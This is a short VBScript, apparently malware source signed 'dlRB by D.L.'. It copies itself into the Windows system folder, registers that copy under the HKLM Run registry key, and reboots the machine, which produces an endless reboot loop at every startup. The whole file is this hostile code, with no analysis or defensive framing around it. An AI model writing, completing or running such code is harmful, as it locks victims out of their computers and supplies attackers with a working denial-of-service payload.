```
set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”
\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),””””)
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)”
&vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
```